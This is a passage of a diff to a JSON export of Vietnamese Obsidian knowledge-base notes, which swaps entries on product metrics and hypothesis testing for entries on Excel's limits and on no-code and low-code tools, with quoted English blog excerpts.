tower or building designed to emit light from a system of lamps and lenses and to serve as **a** **beacon for navigational aid**… Lighthouses mark dangerous coastlines, hazardous shoals, reefs, rocks, and safe entries to harbors; they also assist in aerial navigation” — [Wikipedia](https://en.wikipedia.org/wiki/Lighthouse)\n\n_A beacon for navigational aid!_ If this isn’t the perfect metaphor to describe the importance of your “one metric” then I don’t know what is. Furthermore, “the marking of dangerous coastlines and other hazards” is a great way to describe the risks that product teams face every day: vanity metrics, conflicting priorities, and other distractions/dangers that could be catastrophic. I feel like this is a more complete metaphor describing the purpose and the goal of the “one metric.”\n\nI know I’m just arguing semantics here but at the end of the day, if product teams understood the importance of the North Star (both at work and in the cosmos) I wouldn’t need to write this post, but they don’t; so I am. Renaming the metric will inspire a more appropriate use. A lighthouse is singular, obvious, and clear. You can run workshops to not just identify the Lighthouse Metric but also the hazardous vanity metrics and distractions you should avoid — employ tools and frameworks to help you with this — such as the unit economic tree I mentioned earlier.\n\nBelow are examples of some great Lighthouse Metrics (formerly known as North Stars ;)) that I have come across to inspire you to find your own. Use these as starting points during your own metric workshops. Discuss why they are (or aren’t) great metrics.\n\n- Airbnb’s NSM is “nights booked”. This adds value to the guest and the host.\n- Before Netflix was the giant it is today, theirs was “% of new members with 3 DVDs in their queue”.\n- Facebook use “daily active users”\n- For Spotify, it is “Time spent listening to music by subscribers”\n- Uber’s is “rides per week”\n\nI wrote an article on [why we moved away from Conversion Rate](https://towardsdatascience.com/why-we-moved-away-from-conversion-rate-as-a-primary-metric-14b2d6cb5996) to a metric called Average Orders Per User. Although we didn’t label the term North Star Metric, it is now the go-to metric for product success as it combines order frequency and conversion rate. The metric measures short term success as well as long term retention. It can’t be artificially manipulated like conversion rate and it adds value to both the customer and the company. Our “one metric” didn’t come about through the use of a workshop but rather from us challenging our own assumptions about the metric we were using and the harm it was causing.\n\nRegardless of the metaphor you use, I hope you’re able to find your own one metric that you can commit to and that acts as a guiding light.\n\n![](https://miro.medium.com/v2/resize:fit:933/0*x6q3-ZZcT79iuaSv)\n\nPhoto by [Casey Horner](https://unsplash.com/@mischievous_penguins?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)\n\n", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần]]\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:37:00.000Z", - "id": "Iw" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J8" }, { - "Tiêu đề": "❓Kết quả cuối cùng của MCDA có khác gì với tiền", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/❓Kết quả cuối cùng của MCDA có khác gì với tiền", + "Tiêu đề": "Excel không cản ta làm điều mà ta sẽ hối tiếc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel không cản ta làm điều mà ta sẽ hối tiếc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Tiền đơn giản hoá quá trình đáp ứng nhu cầu]]", + "Toàn bộ nội dung": "Nó không tạo ra rào cản để ngăn bạn làm sai, vì nó không biết bạn sẽ sai cái gì. Nếu bạn làm sai, thì không ai nghĩ đó là lỗi của Excel, mà là lỗi của bạn. (Một số phần mềm hoặc ngôn ngữ lập trình khác tiếp cận theo hướng ngược lại: nó sẽ rất khó học ban đầu, vì bạn làm gì nó cũng báo lỗi. Nhưng chính điều đó sẽ khiến bạn không làm sai về sau. Nếu bạn làm sai mà nó không báo lỗi thì đó là bug của nó, và tác giả sẽ phải sửa bug này để nó còn báo lỗi cho bạn. Một ví dụ điển hình là Rust)\n\nGiới hạn của Excel là nó không tạo ra giới hạn gì cho ta.\n\nNguồn:: [Excel Never Dies - Not Boring by Packy McCormick](https://www.notboring.co/p/excel-never-dies)\n\n[[Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng]]\n[[Excel không cho ta quản lý phiên bản được]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-01T12:16:00.000Z", - "id": "Ix" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J9" }, { - "Tiêu đề": "❓Thứ quan trọng nhất là tìm được sản phẩm phù hợp thị trường. Tất cả những thứ khác đều không quan trọng bằng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/❓Thứ quan trọng nhất là tìm được sản phẩm phù hợp thị trường. Tất cả những thứ khác đều không quan trọng bằng", + "Tiêu đề": "Excel không làm ta hiểu về lập trình một cách đúng đắn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel không làm ta hiểu về lập trình một cách đúng đắn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\n[[Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói]]\n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-21T15:02:00.000Z", - "id": "Iy" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JA" }, { - "Tiêu đề": "Các công ty không quan tâm đến tính năng chuyên biệt", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Các công ty không quan tâm đến tính năng chuyên biệt", + "Tiêu đề": "Excel không phù hợp cho việc lập cơ sở dữ liệu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel không phù hợp cho việc lập cơ sở dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Lý do:: [[Excel không cản ta làm điều mà ta sẽ hối tiếc]]\n\n[[Excel là sản phẩm low code tồn tại lâu dài nhất]] \n[[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác]]\n\n---\n## [Excel as a database - Neopoleon](https://www.neopoleon.com/blog/excel-as-a-database/)\nAs a developer, you’ve probably, at some unfortunate point in your life (possibly several points, actually), been handed an Excel file that has been crammed full of “data” by someone in marketing and told to “do something with it.”\n\nColumns probably didn’t line up, and a thousand different fonts were used. Every feature of Excel was probably abused and abused again in order to avoid having to use an actual database application for storage of the data.\n\nOf course, it’s up to you to make sense of the layout, and they could just give a bleepity-bleep about what a pain in the ass it is to suck weird data out of Excel and “do something with it” when little or (more often) no thought has been given to possibly making the data _consistent_ or, dare I say, _orderly_.\n\nTo this end, I’ve put together another art project. This time, what you will see unfold before your peepers is a process of discovery – My thoughts on how these files are created.\n\n[**Note:** I wound up drawing one of the characters with fangs and, eventually, “crazy eyes” – I don’t know why I did this. It just felt right. ]\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/1.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/2.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/3.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/4.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/5.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/6.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/7.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/8.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/9.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/10.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/11.jpg)\n\nHey – I know what you’re thinking: “That was a little weird”\n\n---\n## [5 Things You Should Stop Doing with Microsoft Excel](https://www.integrify.com/blog/posts/5-things-you-should-stop-doing-with-microsoft-excel/ \"5 Things You Should Stop Doing with Microsoft Excel\")\n\n_Before you start the article, we wanted you to know that [workflow automation](https://www.integrify.com/landing-pages/workflow-automation/) can help wean people off of using Excel for the wrong reasons. [Check out what's possible.](https://www.integrify.com/landing-pages/workflow-automation/)_\n\n![do not use excel for these things](https://www.integrify.com/site/assets/files/5317/excel-is-not-for.400x0-is.png)\n### Excel is a great tool but it's often used in ways it was never intended. We suggest some of the ways it should **never** be used.\n\nMicrosoft Excel is a powerful spreadsheet that has been greatly refined over the past 30 years, especially with the development of macros. However, these capabilities have prompted many people to use Excel in ways for which it was never designed. For example, Excel isn’t a database, although many people use it as one. Excel may be able to serve this function for smaller data sets with simple rules, but a data set can quickly exceed Excel’s limitations as it grows. \n\nThere are far better tools out there to handle the specific use cases for which Excel is ill-equipped. Here are some of those use cases.\n\n## Forms\n\nThere are several reasons to avoid using Excel for forms. For instance:\n\n- Data entered into forms is typically disconnected from any database. Most Excel forms are just spreadsheets with blank cells to type into. This is only marginally better than a paper form.\n- Format and layout are cumbersome and time-consuming. To design a user-friendly form in Excel is a brutal exercise.\n- There are limited methods to control and validate input, resulting in bad data capture. Any attempts at validation are easily avoided.\n\nExcel was not designed for creating forms and to get a usable form that collects and stores data is prone to issues and simply not worth the effort. You're better off using a tool built for [designing forms](https://www.integrify.com/features/form-designer/) and handling data in a sensible way.\n\n## Project Management\n\nExcel is often used for project planning, usually for small to midsize projects. The primary reason many people use Excel is that many team members are unfamiliar with project planning software options (or don't have budget for them) and Excel is readily available. Also, there are Excel project planning templates available for download. For simple solo projects that are basically a list of tasks and dates, Excel can be fairly effective.\n\nHowever, multiple users can’t work on the same Excel template at the same time unless your team is using the online version. Even then, it's easy to trip over each other while trying to edit. It also doesn't handle complex projects well and can become a densely-packed, color-coded nightmare for everyone except the person who created it.\n\nFurthermore, updating statuses manually and generating the required reports in Excel can more time than the work itself. Dedicated [project management software](https://www.capterra.com/project-management-software/) allows users to visualize and update the entire process of planning, reporting and monitoring a project in real-time. Manual data entry and duplicate reports are no longer a concern since all team members receive updates with the same report.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-07T12:22:00.000Z", - "id": "Iz" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JB" }, { - "Tiêu đề": "Có thêm nhân viên không làm sản phẩm phù hợp với thị trường hơn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Có thêm nhân viên không làm sản phẩm phù hợp với thị trường hơn", + "Tiêu đề": "Excel là loài gián trong ngành phần mềm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel là loài gián trong ngành phần mềm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Y Combinator]], [Kirsty Nathoo - Managing Startup Finances - YouTube](https://youtu.be/LBC16jhiwak?si=VigBiPnmqdD1Bx-k&t=1059)", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình]]\n[[Excel là sản phẩm low code tồn tại lâu dài nhất]]\n\nNó không làm được việc gì tốt, nhưng việc gì nó cũng làm được.\nNguồn:: [Excel Never Dies - Not Boring by Packy McCormick](https://www.notboring.co/p/excel-never-dies)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T15:34:00.000Z", - "id": "I-" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JC" }, { - "Tiêu đề": "Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói", + "Tiêu đề": "Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Sản phẩm no code đem đến sự phản hồi tức thời]]\n\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]. Các ngôn ngữ lập trình khác không cho ta cảm giác như vậy. [[Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm]]\n\nTuy nhiên, cũng chính vì điều này, nên [[Excel không làm ta hiểu về lập trình một cách đúng đắn]]. [[Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó]] \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:39:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "I_" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JD" }, { - "Tiêu đề": "Insight trong phát triển sản phẩm gắn liền với việc thay đổi hành vi người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Insight trong phát triển sản phẩm gắn liền với việc thay đổi hành vi người dùng", + "Tiêu đề": "Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Insight]]\n", + "Toàn bộ nội dung": "Khái niệm:: \nNền kinh tế bảng tính\n![](https://foundationinc.co/wp-content/uploads/2019/05/Spreadsheet-Unbundling.jpg) \n\nNguồn:: [The SaaS Opportunity Of Unbundling Excel](https://foundationinc.co/lab/the-saas-opportunity-of-unbundling-excel/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-01-07T13:27:00.000Z", - "id": "J0" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JE" }, { - "Tiêu đề": "Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần", + "Tiêu đề": "Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Lý do:: [[Excel không cản ta làm điều mà ta sẽ hối tiếc]]\nHệ quả của việc này là [[Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu]]\n[[Excel không cho ta quản lý phiên bản được]]\n\n[[❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:43:00.000Z", - "Ngày cập nhật": "2023-12-10T14:44:00.000Z", - "id": "J1" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JF" }, { - "Tiêu đề": "Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời", + "Tiêu đề": "Excel là sản phẩm low code tồn tại lâu dài nhất", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel là sản phẩm low code tồn tại lâu dài nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc]]\n\n[[Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ]]\n[[Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo]]. [[Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có]]\n[[Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp]]\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]", + "Toàn bộ nội dung": "Khái niệm:: \nNguồn:: [Excel Never Dies - Not Boring by Packy McCormick](https://www.notboring.co/p/excel-never-dies)\n[[Excel không phù hợp cho việc lập cơ sở dữ liệu]]\n[[Excel là loài gián trong ngành phần mềm]]\n[[Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-14T04:05:00.000Z", - "Ngày cập nhật": "2023-12-01T14:47:00.000Z", - "id": "J2" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JG" }, { - "Tiêu đề": "Giả định có mặt ở khắp nơi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Giả định có mặt ở khắp nơi", + "Tiêu đề": "Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết]]\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Giả định đến từ trực giác]]\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình]]\nĐiều đó khiến cho [[Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS]] \n\n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-06-21T15:10:00.000Z", - "id": "J3" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JH" }, { - "Tiêu đề": "Hãy liệt kê những niềm tin trước khi phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Hãy liệt kê những niềm tin trước khi phỏng vấn", + "Tiêu đề": "File Google Docs không thực sự là file", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/File Google Docs không thực sự là file", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giả định có mặt ở khắp nơi]]\nNguồn:: [[Hoàng Đức Minh]]", + "Toàn bộ nội dung": "Lý do:: [[Tệp là thứ mà nhiều chương trình khác nhau đều đọc được]]\n\nNguồn:: [Golems, smart objects, and the file metaphor (Interconnected)](https://interconnected.org/home/2021/02/01/golems)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T04:09:00.000Z", - "id": "J4" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JI" }, { - "Tiêu đề": "Hệ thống giả thiết ban đầu dễ khiến ta bỏ qua việc kiểm chứng niềm tin, hoặc kiểm chứng bằng những câu hỏi định hướng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Hệ thống giả thiết ban đầu dễ khiến ta bỏ qua việc kiểm chứng niềm tin, hoặc kiểm chứng bằng những câu hỏi định hướng", + "Tiêu đề": "Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Hãy liệt kê những niềm tin trước khi phỏng vấn]]\nNguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Đánh đổi]], [[Ưu tiên]]\n[[Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người]] \nNguồn:: [If the concept of low code/no code program is nothing new, then why do developers talking about it still get frustrated? (closed)](https://softwareengineering.stackexchange.com/q/447976/192731)\n\n[What Do Low-Code/No-Code Tools Mean for Software Developers?](https://www.cmswire.com/digital-marketing/the-software-developers-fate-in-low-codeno-code-world/)\n[The Rise of No-Code and Low-Code Solutions: A Game-Changer in the Martech](https://www.linkedin.com/pulse/rise-no-code-low-code-solutions-game-changer-martech-deshpande)\n[[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\n[[Có người giới thiệu về vấn đề có lẽ là cách duy nhất để làm được những thứ mình muốn làm nhưng không khẩn cấp]]\n[kelseyhightower/nocode: The best way to write secure and reliable applications. Write nothing; deploy nowhere.](https://github.com/kelseyhightower/nocode \"kelseyhightower/nocode: The best way to write secure and reliable applications. Write nothing; deploy nowhere.\")\n[[Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất]]\n\n![](https://i.stack.imgur.com/ARBSs.jpg) \n\n[[Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T04:09:00.000Z", - "id": "J5" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JJ" }, { - "Tiêu đề": "Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần", + "Tiêu đề": "No code, GUI là những cái tên khác nhau cho cùng một thứ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/No code, GUI là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T04:09:00.000Z", - "id": "J6" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JK" }, { - "Tiêu đề": "Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc", + "Tiêu đề": "Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[ABG Open Special 2023]], Hà Đăng Sơn\n[[Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời]]", + "Toàn bộ nội dung": "### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá 